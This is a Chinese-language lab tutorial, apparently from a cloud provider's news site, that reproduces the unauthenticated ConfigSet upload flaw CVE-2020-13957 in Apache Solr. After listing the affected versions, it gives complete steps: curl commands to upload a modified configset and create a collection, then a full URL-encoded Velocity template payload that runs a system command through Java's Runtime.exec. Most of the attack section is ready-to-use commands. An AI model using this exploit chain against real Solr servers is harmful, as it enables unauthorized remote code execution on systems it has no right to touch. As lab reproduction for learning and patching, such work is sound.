Apche Solr 未授權上傳漏洞CVE-2020-13957的復現

Apche Solr 未授權上傳漏洞CVE-2020-13957的復現，很多新手對此不是很清楚，為了幫助大家解決這個難題，下面小編將為大家詳細講解，有這方面需求的人可以來學習下，希望你能有所收獲。

0x00 漏洞描述

在特定的Solr版本中ConfigSet API存在未授權上傳漏洞，攻擊者利用漏洞可實現遠程代碼執行。

整個利用鏈流程：
上傳configset——基于configset再次上傳configset（跳過身份檢測）——利用新configset創造collection——利用solrVelocity模板進行RCE

影響范圍

Apache Solr 6.6.0 -6.6.5
Apache Solr 7.0.0 -7.7.3
Apache Solr 8.0.0 -8.6.2

0x01 環境搭建

solr下載地址：http://archive.apache.org/dist/lucene/solr/(本次復現環境為8.0.0)

靶機：win10 IP地址：192.168.41.129
攻擊機：kali IP地址：192.168.41.132

C:\復現\solr-8.0.0\bin>solr.cmd start –c

0x02 漏洞復現

1、解壓solr-8.0.0.zip并將解壓后的文件切換到/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf目錄,找到solrconfig.xml文件,并將velocity.params.resource.loader.enabled的false修改為true,即：
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}

并將修改后的solr-8.0.0 放到kali中

2、 然后在kali中server/solr/configsets/_default/conf/目錄下打開終端,執行命令將conf目錄下所有文件打包成一個壓縮文件mytest.zip

zip -r - * > mytest.zip

3、由于ConfigSet API存在未授權上傳, 上傳mytest.zip到win10

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest

根據CREATE得到的新configset創建惡意collection：

curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2

&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

在kali的瀏覽器中輸入地址,即可利用已上傳的collection進行遠程命令執行,這里執行的是whoami

http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

看完上述內容是否對您有幫助呢？如果還想對相關知識有進一步的了解或閱讀更多相關文章，請關注億速云行業資訊頻道，感謝您對億速云的支持。